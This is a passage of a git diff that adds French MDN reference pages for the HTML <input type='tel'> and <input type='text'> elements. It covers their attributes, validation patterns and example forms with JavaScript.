+<p>Le champ <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">ne sera pas valide</a> si la longueur du numéro de téléphone dépasse <code>maxlength</code> en nombre de points de code UTF-16. Les contraintes de validation sont uniquement appliquées lorsque la valeur est modifiée par l'utilisateur.</p>
+
+<h3 id="htmlattrdefminlength">{{htmlattrdef("minlength")}}</h3>
+
+<p>Le nombre minimal de caractères (exprimé en nombre de points de code UTF-16) que l'utilisateur peut saisir dans le champ. Cette valeur doit êtrer un entier positif ou nul. Si aucune valeur n'est fournie pour <code>minlength</code> ou qu'une valeur invalide est fournie, il n'y a pas de contrainte de taille minimale. La valeur indiquée par cet attribut doit être inférieur à <code>maxlength</code>.</p>
+
+<p>Le champ <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">ne sera pas valide</a> si la longueur du numéro de téléphone est inférieure à <code>minlength</code> en nombre de points de code UTF-16. Les contraintes de validation sont uniquement appliquées lorsque la valeur est modifiée par l'utilisateur.</p>
+
+<h3 id="htmlattrdefpattern">{{htmlattrdef("pattern")}}</h3>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "pattern-include")}}</p>
+
+<p>Voir <a href="#format">la section format</a> ci-après pour plus détails et d'exemples.</p>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "placeholder", 0, 1, 2)}}</p>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "readonly", 0, 1, 2)}}</p>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "size", 0, 1, 2)}}</p>
+
+<h2 id="Attributs_non-standard">Attributs non-standard</h2>
+
+<p>Les attributs non-standard suivant sont disponibles pour les champs textuels mais devraient ne pas être utilisés.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribute</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("autocorrect")}}</code></td>
+   <td>Indique si la correction automatique doit être appliquée à ce champ texte. <strong>Uniquement pris en charge par Safari.</strong></td>
+  </tr>
+  <tr>
+   <td><code>{{anch("mozactionhint")}}</code></td>
+   <td>Une chaîne de caractères qui indique le type d'action qui sera effectuée lorsque l'utilisateur appuiera sur la touche <kbd>Entrée</kbd> ou <kbd>Retour</kbd> lors de l'édition du champ. La valeur de cet attribut est utilisée comme libellé pour la touche adéquate du clavier virtuel. <strong>Uniquement pris en charge par Firefox pour Android.</strong></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdefautocorrect_non-standard_inline">{{htmlattrdef("autocorrect")}} {{non-standard_inline}}</h3>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "autocorrect-include")}}</p>
+
+<h3 id="htmlattrdefmozactionhint_non-standard_inline">{{htmlattrdef("mozactionhint")}} {{non-standard_inline}}</h3>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "mozactionhint-include")}}</p>
+
+<h2 id="Utiliser_&lt;input_typetel>">Utiliser <code>&lt;input type="tel"&gt;</code></h2>
+
+<p>Les numéros de téléphone peuvent jouer un rôle important dans certains formulaires web. Un site de commerce en ligne, par exemple, peut vouloir enregistrer le numéro de téléphone d'un utilisateur pour le contacter lors de la livraison. Toutefois, un des problèmes relatifs aux numéros de téléphone est la variété de formats qui existent à travers le monde. Il est donc difficile (voire impossible) de valider les valeurs automatiquement.</p>
+
+<div class="note">
+<p><strong>Note</strong> : Des mécanismes de validation particuliers peuvent être ajoutés si besoin (cf. {{anch("Validation")}} ci-après).</p>
+</div>
+
+<h3 id="Claviers_adaptés">Claviers adaptés</h3>
+
+<p>L'un des avantages des contrôles de type <code>tel</code> est qu'ils permettent aux navigateurs mobiles de proposer un clavier adapté à la saisie de numéros de téléphone. Voici par exemple le clavier obtenu avec Firefox pour Android :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15441/fx-android-tel.png" style="border-style: solid; border-width: 1px; display: block; height: 640px; margin: 0px auto; width: 360px;"></p>
+
+<h3 id="Un_contrôle_simple">Un contrôle simple</h3>
+
+<p>Dans sa forme la plus simple, on peut implémenter un tel contrôle avec ce fragment HTML :</p>
+
+<pre class="brush: html notranslate">&lt;input id="telNo" name="telNo" type="tel"&gt;</pre>
+
+<p>{{EmbedLiveSample('Un_contrôle_simple', 600, 40)}}</p>
+
+<p>Rien de bien surprenant ici. Lorsque les données seront envoyées au serveur, elles auront la forme <code>telNo=0123456789</code>.</p>
+
+<h3 id="Textes_indicatifs_-_placeholders">Textes indicatifs - <em>placeholders</em></h3>
+
+<p>Il est parfois utile de fournir une indication quant au format attendu. Or, il est possible que la disposition de la page ne permette pas de fournir des étiquettes détaillées. C'est pourquoi on peut utiliser des textes indicatifs via l'attribut <code>placeholder</code>. Ces valeurs seront affichées dans le champ et disparaîtront dès que l'utilisateur saisira quelque chose (et réapparaîtront si la valeur redevient vide). Un tel texte indicatif doit servir de suggestion quant au format souhaité.</p>
+
+<p>Dans l'exemple suivant, on a un contrôle <code>"tel"</code> avec un attribut <code>placeholder</code> qui vaut <code>"01 23 45 67 89"</code>. Vous pouvez manipuler le résultat obtenu pour voir comment ce texte est affiché selon qu'une valeur saisie ou que le champ est vide :</p>
+
+<pre class="brush: html notranslate">&lt;input id="telNo" name="telNo" type="tel"
+       placeholder="01 23 45 67 89"&gt;</pre>
+
+<p>{{EmbedLiveSample('Textes_indicatifs_-_placeholders', 600, 40)}}</p>
+
+<h3 id="Contrôler_la_taille_du_champ">Contrôler la taille du champ</h3>
+
+<p>On peut contrôler la taille physique allouée au contrôle ainsi que les longueurs minimale et maximale autorisées pour le texte saisi dans le contrôle.</p>
+
+<h4 id="La_taille_physique">La taille physique</h4>
+
+<p>La taille physique de la boîte de saisie peut être contrôlée avec l'attribut {{htmlattrxref("size", "input")}}. La valeur de cet attribut indique le nombre de caractères que la boîte peut afficher simultanément. Si, par exemple, on souhaite que le contrôle mesure 20 caractères de large, on pourra utiliser le code suivant :</p>
+
+<pre class="brush: html notranslate">&lt;input id="telNo" name="telNo" type="tel"
+       size="20"&gt;</pre>
+
+<p>{{EmbedLiveSample('La_taille_physique', 600, 40)}}</p>
+
+<h4 id="La_longueur_de_la_valeur">La longueur de la valeur</h4>
+
+<p>L'attribut <code>size</code> ne contraint pas la taille de la valeur qui peut être saisie dans le contrôle. Si on souhaite avoir une longueur minimale (en nombre de caractères), on pourra utiliser l'attribut {{htmlattrxref("minlength", "input")}}. De même, si on souhaite qu'un numéro de téléphone valide mesure au maximum X caractères, on pourra employer l'attribut {{htmlattrxref("maxlength", "input")}}.</p>
+
+<p>Dans l'exemple qui suit, on crée un contrôle qui mesure 20 caractères de large et dont le contenu doit être plus long que 9 caractères et plus court que 14 caractères.</p>
+
+<pre class="brush: html notranslate">&lt;input id="telNo" name="telNo" type="tel"
+       size="20" minlength="9" maxlength="14"&gt;</pre>
+
+<p>{{EmbedLiveSample("La_longueur_de_la_valeur", 600, 40)}}</p>
+
+<div class="note">
+<p><strong>Note</strong> : Ces deux attributs jouent un rôle lors de la {{anch("validation", "Validation")}}. Dans l'exemple précédent, la valeur sera considérée comme invalide si elle contient moins de 9 caractères ou plus de 14. La plupart des navigateurs ne permettront pas de saisir une valeur plus longue que la taille maximale.</p>
+</div>
+
+<h3 id="Fournir_une_valeur_par_défaut">Fournir une valeur par défaut</h3>
+
+<p>Il est possible de fournir une valeur par défaut en renseignant au préalable l'attribut {{htmlattrxref("value", "input")}} :</p>
+
+<div id="Default_value">
+<pre class="brush: html notranslate">&lt;input id="telNo" name="telNo" type="tel"
+       value="01 23 45 67 89"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("Fournir_une_valeur_par_défaut", 600, 40)}}</p>
+
+<h4 id="Afficher_des_suggestions">Afficher des suggestions</h4>
+
+<p>Si on souhaite aller plus loin, on peut fournir une liste de suggestions parmi lesquelles l'utilisateur pourra choisir (il pourra également saisir la valeur de son choix si celle-ci ne fait pas partie de la liste). Pour cela, on utilisera l'attribut {{htmlattrxref("list", "input")}} dont la valeur est l'identifiant d'un élément  {{HTMLElement("datalist")}} qui contient autant d'éléments  {{HTMLElement("option")}} que de valeurs suggérées. C'est la valeur de l'attribut <code>value</code> de chaque élément <code>&lt;option&gt;</code> qui sera utilisée comme suggestion.</p>
+
+<pre class="brush: html notranslate">&lt;input id="telNo" name="telNo" type="tel" list="defaultTels"&gt;
+
+&lt;datalist id="defaultTels"&gt;
+  &lt;option value="01 23 45 67 89"&gt;
+  &lt;option value="02 45 67 89 01"&gt;
+  &lt;option value="03 45 67 89 12"&gt;
+  &lt;option value="04 56 87 98 32"&gt;
+&lt;/datalist&gt;</pre>
+
+<p>{{EmbedLiveSample("Afficher_des_suggestions", 600, 40)}}</p>
+
+<p>Avec l'élément {{HTMLElement("datalist")}} contenant ces différentes valeurs  {{HTMLElement("option")}}, le navigateur affichera une liste déroulante (ou un autre élément d'interface utilisateur) afin que l'utilisateur puisse éventuellement choisir parmi les suggestions. Lorsque l'utilisateur saisit dans le contrôle, la liste des suggestions est restreinte à celles qui correspondent encore.</p>
+
+<h2 id="Validation">Validation</h2>
+
+<p>Comme évoqué ci-avant, il est difficile de fournir une solution qui convienne pour l'ensemble des formats utilisés et qui permette de valider correctement les numéros de téléphone.</p>
+
+<div class="warning"><strong>Attention !</strong> Il est également important de vérifier le format de la valeur saisie côté serveur ! En effet, il est tout à fait possible pour un utilisateur de modifier le code HTML du site ou d'envoyer des données au serveur sans passer par le formulaire. Il est donc nécessaire de contrôler la valeur avant de s'en servir dans la logique de l'application côté serveur afin d'éviter des conséquences malheureuses.</div>
+
+<h3 id="Rendre_la_valeur_obligatoire">Rendre la valeur obligatoire</h3>
+
+<p>Il est possible de rendre la saisie obligatoire avant de pouvoir envoyer le formulaire. Pour cela, on utilisera l'attribut {{htmlattrxref("required", "input")}} :</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="telNo"&gt;Veuillez saisir un numéro de téléphone (obligatoire) : &lt;/label&gt;
+    &lt;input id="telNo" name="telNo" type="tel" required&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Envoyer&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>On utilisera la feuille de style suivante pour indiquer les éléments valides ou invalides du formulaire :</p>
+
+<pre class="brush: css notranslate">div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+input[type="number"] {
+  width: 100px;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid+span:after {
+  position: absolute; content: '✖';
+  padding-left: 5px;
+  color: #8b0000;
+}
+
+input:valid+span:after {
+  position: absolute;
+  content: '✓';
+  padding-left: 5px;
+  color: #009000;
+}</pre>
+
+<p>Voici le résultat obtenu :</p>
+
+<p>{{EmbedLiveSample("Rendre_la_valeur_obligatoire", 700, 70)}}</p>
+
+<h3 id="Utiliser_un_format_particulier"><a id="format" name="format">Utiliser un format particulier</a></h3>
+
+<p>Si on souhaite restreindre le format de la valeur qui peut être saisie, on peut utiliser l'attribut {{htmlattrxref("pattern","input")}} dont la valeur est une expression rationnelle que la valeur doit respecter pour être valide.</p>
+
+<p>Dans cet exemple, on utilisera la même feuille de style que précédemment mais le code HTML sera celui-ci :</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="telNo"&gt;Veuillez saisir un numéro de téléphone (obligatoire) : &lt;/label&gt;
+    &lt;input id="telNo" name="telNo" type="tel" required
+           pattern="[0-9]{2} [0-9]{2} [0-9]{2} [0-9]{2} [0-9]{2}"&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Envoyer&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+input[type="number"] {
+  width: 100px;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid+span:after {
+  position: absolute; content: '✖';
+  padding-left: 5px;
+  color: #8b0000;
+}
+
+input:valid+span:after {
+  position: absolute;
+  content: '✓';
+  padding-left: 5px;
+  color: #009000;
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("Utiliser_un_format_particulier", 700, 70)}}</p>
+
+<p>Vous pouvez ici voir que la valeur est considérée comme invalide si elle ne suit pas le format xx xx xx xx xx. Ce format peut peut-être être utile pour certaines régions mais attention, dans une application réelle, il faudra s'adapter à des cas plus complexes selon la locale de l'utilisateur.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, on présente une interface simple avec un élément {{htmlelement("select")}} permettant à l'utilisateur de choisir le pays dans lequel il se trouve puis un ensemble d'éléments <code>&lt;input type="tel"&gt;</code> permettant de saisir ses différents numéros de téléphone.</p>
+
+<p>Chaque boîte de saisie possède un attribut {{htmlattrxref("placeholder","input")}} qui indique le format pressenti. On utilise également l'attribut {{htmlattrxref("pattern","input")}} afin d'indiquer le nombre de caractères ainsi qu'un attribut <code>aria-label</code> qui pourra être lu par un lecteur d'écran ete qui décrit quoi saisir dans le contrôle.</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="country"&gt;Veuillez choisir votre pays :&lt;/label&gt;
+    &lt;select id="country" name="country"&gt;
+      &lt;option&gt;Royaume-Uni&lt;/option&gt;
+      &lt;option selected&gt;États-Unis&lt;/option&gt;
+      &lt;option&gt;Allemagne&lt;/option&gt;
+    &lt;/select&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;p&gt;Veuillez saisir vos numéros de téléphone : &lt;/p&gt;
+    &lt;span class="areaDiv"&gt;
+      &lt;input id="areaNo" name="areaNo" type="tel" required
+             placeholder="Code régional" pattern="[0-9]{3}"
+             aria-label="Code régional"&gt;
+      &lt;span class="validity"&gt;&lt;/span&gt;
+    &lt;/span&gt;
+    &lt;span class="number1Div"&gt;
+      &lt;input id="number1" name="number1" type="tel" required
+             placeholder="Premier fragment" pattern="[0-9]{3}"
+             aria-label="Premier fragment du numéro"&gt;
+      &lt;span class="validity"&gt;&lt;/span&gt;
+    &lt;/span&gt;
+    &lt;span class="number2Div"&gt;
+      &lt;input id="number2" name="number2" type="tel" required
+             placeholder="Second fragment" pattern="[0-9]{4}"
+             aria-label="Second fragment du numéro"&gt;
+      &lt;span class="validity"&gt;&lt;/span&gt;
+    &lt;/span&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Envoyer&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Le code JavaScript associé est relativement simple, il contient un gestionnaire d'évènements {{domxref("GlobalEventHandlers.onchange", "onchange")}} qui est déclenché lorsque la valeur du <code>&lt;select&gt;</code> est modifiée. Il met alors à jour les attributs <code>pattern</code>, <code>placeholder</code>, <code>aria-label</code> du contrôle pour adapter le format attendu au pays choisi.</p>
+
+<pre class="brush: js notranslate">var selectElem = document.querySelector("select");
+var inputElems = document.querySelectorAll("input");
+
+selectElem.onchange = function() {
+  for(var i = 0; i &lt; inputElems.length; i++) {
+    inputElems[i].value = "";
+  }
+
+  if(selectElem.value === "États-Unis") {
+    inputElems[2].parentNode.style.display = "inline";
+
+    inputElems[0].placeholder = "Code régional";
+    inputElems[0].pattern = "[0-9]{3}";
+
+    inputElems[1].placeholder = "Première partie";
+    inputElems[1].pattern = "[0-9]{3}";
+    inputElems[1].setAttribute("aria-label","Première partie du numéro");
+
+    inputElems[2].placeholder = "Seconde partie";
+    inputElems[2].pattern = "[0-9]{4}";
+    inputElems[2].setAttribute("aria-label","Seconde partie du numéro");
+  } else if(selectElem.value === "Royaume-Uni") {
+    inputElems[2].parentNode.style.display = "none";
+
+    inputElems[0].placeholder = "Code régional";
+    inputElems[0].pattern = "[0-9]{3,6}";
+
+    inputElems[1].placeholder = "Numéro local";
+    inputElems[1].pattern = "[0-9]{4,8}";
+    inputElems[1].setAttribute("aria-label","Numéro local");
+  } else if(selectElem.value === "Allemagne") {
+    inputElems[2].parentNode.style.display = "inline";
+
+    inputElems[0].placeholder = "Code régional";
+    inputElems[0].pattern = "[0-9]{3,5}";
+
+    inputElems[1].placeholder = "Première partie";
+    inputElems[1].pattern = "[0-9]{2,4}";
+    inputElems[1].setAttribute("aria-label","Première partie du numéro");
+
+    inputElems[2].placeholder = "Seconde partie";
+    inputElems[2].pattern = "[0-9]{4}";
+    inputElems[2].setAttribute("aria-label","Seconde partie du numéro");
+  }
+}</pre>
+
+<p>Voici le résultat obtenu :</p>
+
+<p>{{EmbedLiveSample('Exemples', 600, 140)}}</p>
+
+<p>Attention, cet exemple n'est qu'une illustration du problème associé à la gestion internationale des numéros de téléphone. Il serait prétentieux d'affirmer qu'étendre ce mécanisme à chaque pays suffirait à garantir la bonne saisie d'un numéro de téléphone.</p>
+
+<p>Bien entendu, si cette complexité est trop importante, on peut également faire le choix de contrôler la valeur côté serveur avant de faire un retour à l'utilisateur.</p>
+
+<div class="hidden">
+<pre class="brush: css notranslate">div {
+margin-bottom: 10px;
+position: relative;
+}
+
+input[type="number"] {
+  width: 100px;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid+span:after {
+  position: absolute; content: '✖';
+  padding-left: 5px;
+}
+
+input:valid+span:after {
+  position: absolute;
+  content: '✓';
+  padding-left: 5px;
+}</pre>
+</div>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Valeur")}}</strong></td>
+   <td>Une chaîne de caractères ({{domxref("DOMString")}}) qui représente un numéro de téléphone ou qui est vide.</td>
+  </tr>
+  <tr>
+   <td><strong>Évènements</strong></td>
+   <td>{{domxref("HTMLElement/change_event", "change")}} et {{domxref("HTMLElement/input_event", "input")}}.</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs pris en charge</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("maxlength", "input")}}, {{htmlattrxref("minlength", "input")}}, {{htmlattrxref("pattern", "input")}}, {{htmlattrxref("placeholder", "input")}}, {{htmlattrxref("readonly", "input")}} et {{htmlattrxref("size", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs IDL</strong></td>
+   <td><code>list,selectionStart</code>, <code>selectionEnd</code>, <code>selectionDirection</code> et <code>value</code></td>
+  </tr>
+  <tr>
+   <td><strong>Méthodes</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}, {{domxref("HTMLInputElement.setRangeText", "setRangeText()")}}, {{domxref("HTMLInputElement.setSelectionRange", "setSelectionRange()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#tel-state-(type=tel)', '&lt;input type="tel"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'sec-forms.html#tel-state-typetel', '&lt;input type="tel"&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.input.input-tel")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires">Le guide sur les formulaires HTML</a></li>
+ <li>{{HTMLElement("input")}}</li>
+ <li><a href="/fr/docs/Accessibilité/ARIA/formulaires">Les formulaires et l'accessibilité</a></li>
+ <li>{{HTMLElement("input")}}
+  <ul>
+   <li><code><a href="/fr/docs/Web/HTML/Element/input/text">&lt;input type="text"&gt;</a></code></li>
+   <li><code><a href="/fr/docs/Web/HTML/Element/input/email">&lt;input type="email"&gt;</a></code></li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/html/element/input/text/index.html b/files/fr/web/html/element/input/text/index.html
new file mode 100644
index 0000000000..cfba3809e2
--- /dev/null
+++ b/files/fr/web/html/element/input/text/index.html
@@ -0,0 +1,458 @@
+---
+title: <input type="text">
+slug: Web/HTML/Element/Input/text
+tags:
+  - Formulaires
+  - HTML
+  - Input
+  - Reference
+translation_of: Web/HTML/Element/input/text
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">Les éléments {{HTMLElement("input")}} dont l'attribut <code>type</code> vaut <code><strong>"text"</strong></code> permettent de créer des champs de saisie avec du texte sur une seule ligne.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-text.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>L'attribut {{htmlattrxref("value", "input")}} d'un tel élément contient une chaîne de caractères ({{domxref("DOMString")}}) qui correspond à la valeur contenue dans le champ texte. En JavaScript, cette valeur peut être récupérée avec la propriété JavaScript {{domxref("HTMLInputElement.value","value")}}.</p>
+
+<pre class="brush: js">monTextInput.value;
+</pre>
+
+<p>Si aucune contrainte de validation n'est ajoutée (cf. {{anch("Validation")}} pour plus d'informations), la valeur peut être n'importe quelle chaîne de caractères voire la chaîne vide ("").</p>
+
+<h2 id="Attributs_supplémentaires">Attributs supplémentaires</h2>
+
+<p>En complément des attributs communs à l'ensemble des éléments {{HTMLElement("input")}}, les champs textuels prennent en charge les attributs suivants :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribut</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("maxlength")}}</code></td>
+   <td>Le nombre de caractères maximal qui peut être écrit dans ce champ.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("minlength")}}</code></td>
+   <td>Le nombre de caractères minimal qui peut être écrit dans ce champ pour qu'il soit considéré comme valide.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("pattern")}}</code></td>
+   <td>Une expression rationnelle à laquelle doit correspondre le texte saisi pour être valide.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("placeholder")}}</code></td>
+   <td>Une valeur d'exemple qui sera affichée lorsqu'aucune valeur n'est saisie.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("readonly")}}</code></td>
+   <td>Un attribut booléen qui indique si le contenu du champ est en lecture seule.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("size")}}</code></td>
+   <td>Un nombre qui indique le nombre de caractères affichés par le champ.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("spellcheck")}}</code></td>
+   <td>Cet attribut contrôle l'activation de la vérification orthographique sur le champ ou si la vérification orthographique par défaut doit être appliquée.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdef(maxlength)">{{htmlattrdef("maxlength")}}</h3>
+
+<p>Le nombre maximum de caractères (exprimé en nombre de points de code UTF-16) que l'utilisateur peut saisir dans le champ. Cette valeur doit êtrer un entier positif ou nul. Si aucune valeur n'est fournie pour <code>maxlength</code> ou qu'une valeur invalide est fournie, il n'y a pas de contrainte de taille maximale. La valeur indiquée par cet attribut doit être supérieure à <code>minlength</code>.</p>
+
+<p>Le champ <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">ne sera pas valide</a> si la longueur du texte dépasse <code>maxlength</code> en nombre de points de code UTF-16. Les contraintes de validation sont uniquement appliquées lorsque la valeur est modifiée par l'utilisateur.</p>
+
+<h3 id="htmlattrdef(minlength)">{{htmlattrdef("minlength")}}</h3>
+
+<p>Le nombre minimal de caractères (exprimé en nombre de points de code UTF-16) que l'utilisateur peut saisir dans le champ. Cette valeur doit êtrer un entier positif ou nul. Si aucune valeur n'est fournie pour <code>minlength</code> ou qu'une valeur invalide est fournie, il n'y a pas de contrainte de taille minimale. La valeur indiquée par cet attribut doit être inférieur à <code>maxlength</code>.</p>
+
+<p>Le champ <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">ne sera pas valide</a> si la longueur du texte est inférieure à <code>minlength</code> en nombre de points de code UTF-16. Les contraintes de validation sont uniquement appliquées lorsque la valeur est modifiée par l'utilisateur.</p>
+
+<h3 id="htmlattrdef(pattern)">{{htmlattrdef("pattern")}}</h3>
+
+<div id="pattern-include">
+<p>L'attribut <code>pattern</code> est une expression rationnelle que doit respecter la valeur ({{htmlattrxref("value")}}) du champ afin d'être <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">valide</a>. Cette expression rationnelle doit être une expression rationnelle valide pour JavaScript (telle qu'utilisée par {{jsxref("RegExp")}} et telle que documentée dans <a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières">ce guide</a>). Le marqueur <code>'u'</code> est fourni par le navigateur lors de la compilation de l'expression rationnelle afin que le motif soit traité comme une séquence de points de code Unicode plutôt que comme des caractères ASCII. Aucune barre oblique (/) ne devrait être utilisée autour du motif.</p>
+
+<p>Si l'expression rationnelle est invalide ou que cet attribut n'est pas défini, l'attribut est ignoré.</p>
+
+<div class="note">
+<p><strong>Note :</strong> L'attribut {{htmlattrxref("title", "input")}} pourra être utilisé afin d'afficher une bulle d'informations qui explique les conditions à respecter. Il est également conseillé d'inclure un texte explicatif à proximité du champ.</p>
+</div>
+</div>
+
+<p>Voir <a href="#format">la section sur l'utilisation de cet attribut ci-après</a> pour plus d'exemples.</p>
+
+<h3 id="htmlattrdef(placeholder)">{{htmlattrdef("placeholder")}}</h3>
+
+<p>L'attribut <code>placeholder</code> est une chaîne de caractères fournissant une courte indication à l'utilisateur quant à l'information attendue dans le champ. Cet attribut devrait être un mot ou une phrase courte qui illustre le type de donnée attendu plutôt qu'un message explicatif. Le texte ne doit pas contenir de saut à la ligne.</p>
+
+<p>Si le contenu du contrôle respecte une directionnalité donnée ({{Glossary("LTR")}} ou {{Glossary("RTL")}}) et que le texte indicatif doit être présenté dans l'autre sens, il est possible  d'utiliser l'algorithme de formatage bidirectionnel Unicode (cf. {{SectionOnPage("/en-US/docs/Web/Localization/Unicode_Bidirectional_Text_Algorithm", "Overriding BiDi using Unicode control characters")}}).</p>
+
+<div class="note">
+<p><strong>Note :</strong> On évitera, tant que faire se peut, d'utiliser l'attribut <code>placeholder</code> car il n'est pas sémantiquement très utile pour expliquer le formulaire et car il peut causer certains problèmes avec le contenu. Voir  {{SectionOnPage("/fr/docs/Web/HTML/Element/input", "Libellés et textes indicatifs")}} pour plus d'informations.</p>
+</div>
+
+<h3 id="htmlattrdef(readonly)">{{htmlattrdef("readonly")}}</h3>
+
+<p>Un attribut booléen qui, lorsqu'il est présent, indique que le champ ne peut pas être édité par l'utilisateur. Toutefois, la valeur de l'attribut <code>value</code> peut toujours être modifiée via du code JavaScript qui définirait la propriété {{domxref("HTMLInputElement.value")}}.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Un champ en lecture seule pouvant ne pas avoir de valeur, l'attribut <code>required</code> n'aura pas d'effet si l'attribut <code>readonly</code> est également présent.</p>
+</div>
+
+<h3 id="htmlattrdef(size)">{{htmlattrdef("size")}}</h3>
+
+<p>L'attribut <code>size</code> est un nombre positif qui indique le nombre de caractères affichés à l'écran et qui définit donc la largeur du champ. La valeur par défaut de cet attribut est 20. Étant donné que la largeur des caractères peut varier cet attribut ne permet de définir une largeur exacte mais approximative.</p>
+
+<p>Cet attribut ne définit pas la limite du nombre de caractères saisissables dans le champ mais uniquement, et approximativement, le nombre de caractères qui peuvent être affichés à l'écran simultanément. Pour fixer une taille maximale sur la valeur du champ, on utilisera plutôt l'attribut <code>{{anch("maxlength")}}</code>.</p>
+
+<h3 id="htmlattrdef(spellcheck)">{{htmlattrdef("spellcheck")}}</h3>
+
+<div id="spellcheck-include">
+<p><code>spellcheck</code> est un attribut universel qui est utilisé afin d'indiquer si la vérification orthographique doit être utilisée pour un élément. Il peut être utilisé pour n'importe quel contenu éditable mais possède certaines spécificités pour les éléments {{HTMLElement("input")}}. Les valeurs autorisées pour cet attribut sont :</p>
+
+<dl>
+ <dt><code>false</code></dt>
+ <dd>La vérification orthographique est désactivée pour cet élément.</dd>
+ <dt><code>true</code></dt>
+ <dd>La vérification orthographique est activée pour cet élément.</dd>
+ <dt><code>""</code> (chaîne de caractères vide) ou aucune valeur</dt>
+ <dd>La configuration par défaut de l'élément par rapport à la vérification orthographique sera respectée. Cette configuration par défaut peut provenir de la valeur de <code>spellcheck</code> pour les éléments parents ou d'autres facteurs.</dd>
+</dl>
+
+<p>Un champ de saisie peut avoir la vérification orthographique activée s'il ne possède pas l'attribut {{anch("readonly")}} et qu'il n'est pas désactivé.</p>
+
+<p>La valeur renvoyée par l'attribut <code>spellcheck</code> peut ne pas refléter l'état réel de la vérification ortographique si certaines préférences de l'agent utilisateur surchargent le paramétrage par défaut.</p>
